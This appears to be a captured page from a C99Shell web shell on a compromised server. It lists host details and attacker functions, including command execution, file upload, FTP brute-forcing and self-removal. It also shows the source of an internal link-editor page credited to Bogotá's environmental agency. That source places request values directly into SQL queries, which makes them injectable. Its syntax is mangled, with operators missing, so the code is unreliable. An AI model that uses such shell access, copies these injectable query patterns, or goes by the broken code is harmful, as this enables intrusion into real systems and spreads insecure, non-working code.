!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

E:\xampp\xampp\htdocs\phpscripts\   drwxrwxrwx
Free 7.98 GB of 239.26 GB (3.33%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     edit.php (21.91 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<html>
<head>
<title>Editor de Categorias, Sitio de Bogota.gov</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<script language="JavaScript">
<!--
function MM_callJS(jsStr) { //v2.0
  return eval(jsStr)
}
function up1() {
b = document.form1.tema_add.value;
a = document.form1.temassel.value;
a = b + "-" + a;
document.form1.tema_add.value = a;
}
//-->
</script>
<style type="text/css">
<!--
select {  font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; color: #333333; background-color: #FDFEF1}
input {  font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; color: #333333; background-color: #FDFEF1}
a {  text-decoration: none}
a:hover {  text-decoration: underline}
textarea {  font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; color: #333333; background-color: #FDFEF1}
-->
</style>
</head>

<body bgcolor="#FFFFFF" text="#000000" topmargin="0" link="#0000FF" vlink="#0000FF" alink="#0000FF">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="33%">&nbsp;</td>
    <td width="34%">
      <table width="100%" border="0" cellspacing="0" cellpadding="6">
        <tr> 
          <td colspan="2"><img src="sitebanner.gif" width="543" height="104"></td>
        </tr>
        <tr> 
          <td width="50%" valign="top"> 
            <div align="center"><font face="Verdana, Arial, Helvetica, sans-serif" size="3"><b>Editar 
              &amp; Eliminar Vinculos <br>
              </b></font><font face="Verdana, Arial, Helvetica, sans-serif" size="1">M&oacute;dulo 
              de adici&oacute;n de eliminaci&oacute;n y edici&oacute;n de vinculos.</font></div>
          </td>
          <td width="50%"><font face="Verdana, Arial, Helvetica, sans-serif" size="1">Se 
            eliminar&aacute; o editar&aacute; el vinculo que pertenece a las siguientes 
            categorias:<br>
            <?php
            
include('conect/conect.php');
            
$consul1 "SELECT *
            FROM links where id = '
$links'";
            
$result1 mysql_query($consul1,$db);
            
$num_filas1 mysql_num_rows($result1);
            
$myrow1 mysql_fetch_array($result1);
            
$uno $myrow1["temas_id"];
            
////////////// Lo anterior busca a partir del ID del vinculo cuales temas tiene
            ////////////// Lo siguiente busca quitandole los dos ultimos digitos a cada tema_id
            ///////////// obtenido la raiz de los temas de los cuales se ocupa este vinculo y los publica
            
            
$which explode("-"$uno);
            
$aq2 count($which);
            
//echo $aq2;
            
$aq 0;
            
$aq1 1;
            foreach (
$which as $v) {
            if (
$aq >= and $aq1 <= $aq2) {
            
$des strlen($v);
            
$des1 $des 2;
            
$nombre1 "";
            for (
$i 1$i <= $des1$i++){
            
$v substr($v0$des);
            
//echo $v;
            //echo $des;
            
$consul "SELECT *
            FROM cate where tema_id='
$v'";
            
$result mysql_query($consul,$db);
            
$myrow mysql_fetch_array($result);
            
$nombre $myrow["tema_desc"];
            
$des $des 2;
            
$nombre1 $nombre "," $nombre1;
            }
            echo 
"<b>- $nombre1<b><br>";
            }
            
$aq++;
            
$aq1++;
            }
            echo 
            
?>
        </font></td>
        </tr>
        <tr> 
          <td colspan="2"> 
          <?php
          
if ($acc == 2) {
          include(
'conect/conect.php');
          
$query ="DELETE FROM links WHERE id='$links'";
          
$result mysql_query($query,$db);
          
          
?>
            <table width="100%" border="1" cellspacing="0" cellpadding="14" bordercolor="#66CCCC">
              <tr> 
                <td bgcolor="#D5EAEA"><font face="Verdana, Arial, Helvetica, sans-serif" size="2"><b>Aviso:</b> 
                  Se elimin&oacute; el vinculo No. <b><?php echo $links?></b>, en adelante no 
                  podr&aacute; ser accesado por medio del sitio.</font></td>
              </tr>
            </table>
            <?php
            
}else{
            
//// Else de si borra o edita
            
            ///// Aqui recupera los datos del registro a actualizar.
            
$id1 $myrow1["id"];
            
$temas_id $myrow1["temas_id"];
            
$nombre1 $myrow1["nombre"];
            
$descripcion $myrow1["descripcion"];
            
$tipo_info $myrow1["tipo_info"];
            
$normas $myrow1["normas"];
            
$estado $myrow1["estado"];
            
$link $myrow1["link"];
            
$entidad_id $myrow1["entidad_id"];
            
$perfil $myrow1["perfil"];
            
$priority $myrow1["priority"];
            
$graphic $myrow1["graphic"];
            
$fotolink $myrow1["foto_link"];
            
$suj_a_fecha $myrow1["suj_a_fecha"];
            
$fecha $myrow1["fecha"];
            
$english_ver $myrow1["english_ver"];
            
$alcance $myrow1["alcance"];
            
$texto $myrow1["texto"];
            
$mes $myrow1["mes"];
            
$dis $myrow1["dis"];
            
            
?>
          
            <table width="100%" border="1" cellspacing="0" cellpadding="14" bordercolor="#74BABA" bgcolor="#D5EAEA">
              <tr>
                <td> 
                  <p><font face="Verdana, Arial, Helvetica, sans-serif" size="2">Llene 
                    el siguiente formulario, los campos marcados con &quot;<b><font color="#FF0000">*</font></b>&quot;, 
                    son obligatorios.</font></p>
                  <form name="form1" method="post" action="../php/reqedi.php" enctype="multipart/form-data">
                    <table width="100%" border="0" cellspacing="0" cellpadding="4">
                      <tr> 
                        <td width="25%"><font face="Verdana, Arial, Helvetica, sans-serif" size="1"><img src="plus.gif" width="12" height="12"></font> 
                          <font face="Verdana, Arial, Helvetica, sans-serif" size="2">Temas:<b><font color="#FF0000">1</font></b></font></td>
                        <td colspan="4"> <select name="temassel" size="10"  onChange="MM_callJS('up1()')" multiple>
                            <?php
                            $vintipo 
0;
                            
$vintipo $vintipo ".";
                            
$lenvin strlen($vintipo);
                            
$lenvin $lenvin 2;
                            include(
'conect/conect.php');
                            if (
$vintipo == "0.") {
                            
$consul "SELECT *
                            FROM cate where tema_id like '1.%' or tema_id like '2.%' or tema_id like '3.%'"
                            
" order by tema_id";
                            }else{
                            
$consul "SELECT *
                            FROM cate where tema_id like '
$vintipo%'"
                            
" order by tema_id";
                            }
                            
$result mysql_query($consul,$db);
                            
$num_filas mysql_num_rows($result);
                            while (
$myrow mysql_fetch_array($result))
                            {
                            
$temaid $myrow["tema_id"];
                            
$id $myrow["id"];
                            
$nombre $myrow["tema_desc"];
                            
$gata strlen($temaid);
                            if (
$gata == $lenvin) {
                            
$nombre strtoupper($nombre);
                            echo 
"<option value=\"$temaid\">$nombre</option>";
                            }
                            if (
$gata $lenvin) {
                            
$gata $gata 2;
                            
$gu "";
                            for (
$i 1$i <= $gata$i++) {
                            
$gu $gu "-";
                            } 
                            
$nombre $gu $nombre;
                            echo 
"<option value=\"$temaid\">$nombre</option>";
                            }
                            }
                            
?>
                          </select> </td>
                      </tr>
                      <tr> 
                        <td colspan="5" bgcolor="#B7DBDB"><font face="Verdana, Arial, Helvetica, sans-serif" size="1"><b><font color="#FF0000">1,</font></b> 
                          Las categorias se adicionan a: <?php echo $temas_id ?>
                          <input type="text" name="tema_add">
                          </font></td>
                      </tr>
                      <tr> 
                        <td width="25%"><font face="Verdana, Arial, Helvetica, sans-serif" size="1"><img src="plus.gif" width="12" height="12"></font> 
                          <font face="Verdana, Arial, Helvetica, sans-serif" size="2">Nombre:<b><font color="#FF0000">*</font></b></font></td>
                        <td colspan="4"> <font face="Verdana, Arial, Helvetica, sans-serif" size="2"> 
                          <input type="text" name="nombre" size="40" value="<?php echo $nombre1?>">
                          </font></td>
                      </tr>
                      <tr> 
                        <td width="25%"><font face="Verdana, Arial, Helvetica, sans-serif" size="1"><img src="plus.gif" width="12" height="12"></font> 
                          <font face="Verdana, Arial, Helvetica, sans-serif" size="2">Descripci&oacute;n:</font></td>
                        <td colspan="4"> <font face="Verdana, Arial, Helvetica, sans-serif" size="2"> 
                          <textarea name="descripcion" cols="55" rows="4"><?php echo $descripcion?></textarea>
                          </font></td>
                      </tr>
                      <tr> 
                        <td width="25%"><font face="Verdana, Arial, Helvetica, sans-serif" size="1"><img src="plus.gif" width="12" height="12"></font> 
                          <font face="Verdana, Arial, Helvetica, sans-serif" size="2">Texto:</font></td>
                        <td colspan="4"><font face="Verdana, Arial, Helvetica, sans-serif" size="2"> 
                          <textarea name="texto" cols="55" rows="8"><?php echo $texto?></textarea>
                          </font></td>
                      </tr>
                      <tr> 
                        <td width="25%"><font face="Verdana, Arial, Helvetica, sans-serif" size="1">Tipo 
                          de Informaci&oacute;n: (<a href="#">?</a>)</font><font face="Verdana, Arial, Helvetica, sans-serif" size="2"><b><font color="#FF0000">*</font></b></font></td>
                        <td width="25%"> <font face="Verdana, Arial, Helvetica, sans-serif" size="1"> 
                          <select name="tipo_info">
                            <?php
                          
if ($tipo_info == "E") {
                          
?>
                            <option value="E" selected>Est&aacute;tica</option>
                            <?php
                          
}else{
                          
?>
                            <option value="E">Est&aacute;tica</option>
                            <?php
                          
}
                          if (
$tipo_info == "D") {
                          
?>
                            <option value="D" selected>Din&aacute;mica</option>
                            <?php
                          
}else{
                          
?>
                            <option value="D">Din&aacute;mica</option>
                            <?php
                          
}
                          if (
$tipo_info == "S") {
                          
?>
                            <option value="S" selected>Servicio en L&iacute;nea</option>
                            <?php
                          
}else{
                          
?>
                            <option value="S">Servicio en L&iacute;nea</option>
                            <?php
                          
}
                          
?>
                          </select>
                          </font> <font face="Verdana, Arial, Helvetica, sans-serif" size="1">&nbsp; 
                          </font></td>
                        <td width="25%"><font face="Verdana, Arial, Helvetica, sans-serif" size="1">Prioridad:(<a href="#">?</a>)</font><font face="Verdana, Arial, Helvetica, sans-serif" size="2"><b><font color="#FF0000">*</font></b></font></td>
                        <td width="25%" colspan="2"> <font face="Verdana, Arial, Helvetica, sans-serif" size="1">&nbsp; 
                          </font> <font face="Verdana, Arial, Helvetica, sans-serif" size="1"> 
                          <select name="priority">
                            <?php
                          
for ($i 1$i <= 11$i++) {
                          if (
$priority == $i) {
                          
?>
                            <option value="<?php echo $i?>" selected> <?php echo $i?> 
                            </option>
                            <?php
                          
}else{
                          
?>
                            <option value="<?php echo $i?>"> <?php echo $i?> 
                            </option>
                            <?php
                          
}
                          }
                          
?>
                          </select>
                          </font></td>
                      </tr>
                      <tr> 
                        <td colspan="2" bgcolor="#E7F5FE"><font face="Verdana, Arial, Helvetica, sans-serif" size="1">&nbsp; 
                          </font> <font face="Verdana, Arial, Helvetica, sans-serif" size="1">&nbsp; 
                          </font> <font face="Verdana, Arial, Helvetica, sans-serif" size="1">Cambiar 
                          Archivo: 
                          <select name="cambiar1" id="cambiar1">
                            <option value="0">No</option>
                            <option value="1">Si</option>
                          </select>
                          </font></td>
                        <td colspan="3" bgcolor="#FDEACC"><font face="Verdana, Arial, Helvetica, sans-serif" size="1">Imagenes?</font><font face="Verdana, Arial, Helvetica, sans-serif" size="1"> 
                          <select name="graphic">
                            <option value="0">No</option>
                            <option value="1">Si</option>
                          </select>
                          Cambiar: 
                          <select name="cambiar">
                            <option value="0">No</option>
                            <option value="1">Si</option>
                          </select>
                          </font></td>
                      </tr>
                      <tr> 
                        <td colspan="2" bgcolor="#CDDCFE"><div align="center"><font face="Verdana, Arial, Helvetica, sans-serif" size="1">Seleccione 
                            archivos en formatos comunes 
                            <?php
                        
                            
if ($link != "") {
                            
?>
                            <br>
                            Achivo: <?php echo $link?> Seleccionado 
                            <?php
                            
}else{
                            
?>
                            <br>
                            Ningun Archivo Seleccionado 
                            <?php
                            
}
                            
?>
                            </font></div></td>
                        <td colspan="3" valign="middle" bgcolor="#F9DEAC"> <div align="center"><font face="Verdana, Arial, Helvetica, sans-serif" size="1">Seleccione 
                            s&oacute;lo imagenes en formato (<b>.jpg</b>) 
                            <?php
                        
                            
if ($fotolink != "") {
                            
?>
                            <br>
                            Achivo: <?php echo $fotolink?> Seleccionado 
                            <?php
                            
}else{
                            
?>
                            <br>
                            Ningun Archivo Seleccionado 
                            <?php
                            
}
                            
?>
                            </font></div></td>
                      </tr>
                      <tr> 
                        <td colspan="2" bgcolor="#E7F5FE"><font face="Verdana, Arial, Helvetica, sans-serif" size="1">Archivo:</font> 
                          <input name="link" type="file" id="link" size="15"></td>
                        <td colspan="3" bgcolor="#FDEACC"><font face="Verdana, Arial, Helvetica, sans-serif" size="1">Archivo:</font><font face="Verdana, Arial, Helvetica, sans-serif" size="2"> 
                          <input type="file" name="fotolink" size="15">
                          </font></td>
                      </tr>
                      <tr> 
                        <td width="25%"><font face="Verdana, Arial, Helvetica, sans-serif" size="1">Requiere 
                          Fecha?</font></td>
                        <td width="25%"> <font face="Verdana, Arial, Helvetica, sans-serif" size="1"> 
                          <select name="suj_a_fecha">
                            <?php
                          
if ($suj_a_fecha == "0") {
                          
?>
                            <option value="0" selected>No</option>
                            <?php
                          
}else{
                          
?>
                            <option value="0">No</option>
                            <?php
                          
}
                          if (
$suj_a_fecha == "1") {
                          
?>
                            <option value="1" selected>Si</option>
                            <?php
                          
}else{
                          
?>
                            <option value="1">Si</option>
                            <?php
                          
}
                          
?>
                          </select>
                          </font></td>
                        <td colspan="3"> <div align="center"><font face="Verdana, Arial, Helvetica, sans-serif" size="1"> 
                            <?php
                        
if ($perfil == "4") {
                        
?>
                        <a href="reqevaladd.php?codigo1=<?php echo $id1?>">A&ntilde;adir Evaluaci&oacute;n a este Contenido</a><br>
                        <a href="reqesta22.php?id=<?php echo $id1?>">Ver Estadísticas de la Evaluación.</a>
                        <?php
                        
}
                        
?>
                            </font></div></td>
                      </tr>
                      <tr> 
                        <td colspan="2"> <p><font face="Verdana, Arial, Helvetica, sans-serif" size="1">Fecha:</font> 
                            <select name="dis">
                              <?php
                          
if ($dis == "" or $dis == "#") {
                          
?>
                              <option value="#" selected>NO</option>
                              <?php
                          
}else{
                          
?>
                              <option value="#>">NO</option>
                              <?php
                          
}
                          
$meses "01-02-03-04-05-06-07-08-09-10-11-12-13-14-15-16-17-18-19-20-21-22-23-24-25-26-27-28-29-30-31";
                          
$cmeses "01-02-03-04-05-06-07-08-09-10-11-12-13-14-15-16-17-18-19-20-21-22-23-24-25-26-27-28-29-30-31";
                          
$m explode("-"$meses);
                          
$cm explode("-"$cmeses);
                          
$cum 0;
                          for (
$i 1$i <= 31$i++) {
                          if (
$dis == $cm[$cum]) {
                          
?>
                              <option value="<?php echo $cm[$cum]; ?>" selected> 
                              <?php echo $m[$cum]; ?> </option>
                              <?php
                          
}else{
                          
?>
                              <option value="<?php echo $cm[$cum]; ?>"> <?php echo $m[$cum]; ?> 
                              </option>
                              <?php
                          
}
                          
$cum++;
                          }
                          
?>
                            </select>
                            <select name="mes">
                              <?php
                          
if ($mes == "" or $mes == "#") {
                          
?>
                              <option value="#" selected>NO</option>
                              <?php
                          
}else{
                          
?>
                              <option value="#>">NO</option>
                              <?php
                          
}
                          
$meses "Enero-Febrero-Marzo-Abril-Mayo-Junio-Julio-Agosto-Septiembre-Octubre-Noviembre-Diciembre";
                          
$cmeses "01-02-03-04-05-06-07-08-09-10-11-12";
                          
$m explode("-"$meses);
                          
$cm explode("-"$cmeses);
                          
$cum 0;
                          for (
$i 1$i <= 12$i++) {
                          if (
$mes == $cm[$cum]) {
                          
?>
                              <option value="<?php echo $cm[$cum]; ?>" selected> 
                              <?php echo $m[$cum]; ?> </option>
                              <?php
                          
}else{
                          
?>
                              <option value="<?php echo $cm[$cum]; ?>"> <?php echo $m[$cum]; ?> 
                              </option>
                              <?php
                          
}
                          
$cum++;
                          }
                          
?>
                            </select>
                            <select name="fecha">
                              <?php
                          
if ($fecha == "" or $ano == "#") {
                          
?>
                              <option value="#" selected>NO</option>
                              <?php
                          
}else{
                          
?>
                              <option value="#>">NO</option>
                              <?php
                          
}
                          
$meses "2003-2004-2005-2006-2007-2008-2009-2010-2011-2012-2013";
                          
$cmeses "2003-2004-2005-2006-2007-2008-2009-2010-2011-2012-2013";
                          
$m explode("-"$meses);
                          
$cm explode("-"$cmeses);
                          
$cum 0;
                          for (
$i 1$i <= 10$i++) {
                          if (
$fecha == $cm[$cum]) {
                          
?>
                              <option value="<?php echo $cm[$cum]; ?>" selected> 
                              <?php echo $m[$cum]; ?> </option>
                              <?php
                          
}else{
                          
?>
                              <option value="<?php echo $cm[$cum]; ?>"> <?php echo $m[$cum]; ?> 
                              </option>
                              <?php
                          
}
                          
$cum++;
                          }
                          
?>
                            </select>
                        </td>
                        <td colspan="3" bgcolor="#B7DBDB"> <div align="center"><font face="Verdana, Arial, Helvetica, sans-serif" size="2">
                            <input type="hidden" name="namefile2" value="<?php echo $link?>">
                            <input type="hidden" name="namefile" value="<?php echo $fotolink?>">
                            <input type="hidden" name="graphic1" value="<?php echo $graphic?>">
                            <input type="hidden" name="temas_id" value="<?php echo $uno?>">
                            <input type="hidden" name="id" value="<?php echo $id1?>">
                            <input type="submit" name="Submit" value="Editar el Vinculo...">
                            </font></div></td>
                      </tr>
                    </table>
                  </form>
                  
                </td>
              </tr>
            </table>
            <?php
                  
}
                  
///////// Fin del else de si borra o edita
                  
?>
          </td>
        </tr>
        <tr> 
          <td colspan="2"><img src="footer.gif" width="543" height="36"></td>
        </tr>
        <tr> 
          <td colspan="2"> 
            <div align="center"><font face="Verdana, Arial, Helvetica, sans-serif" size="1">Departamento 
              T&eacute;cnico Administrativo del Medio Ambiente DAMA<br>
              Sistema de Informaci&oacute;n Ambiental, SIA-DAMA<br>
              M&oacute;dulo Interno de Administraci&oacute;n.</font></div>
          </td>
        </tr>
      </table>
    </td>
    <td width="33%">&nbsp;</td>
  </tr>
</table>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--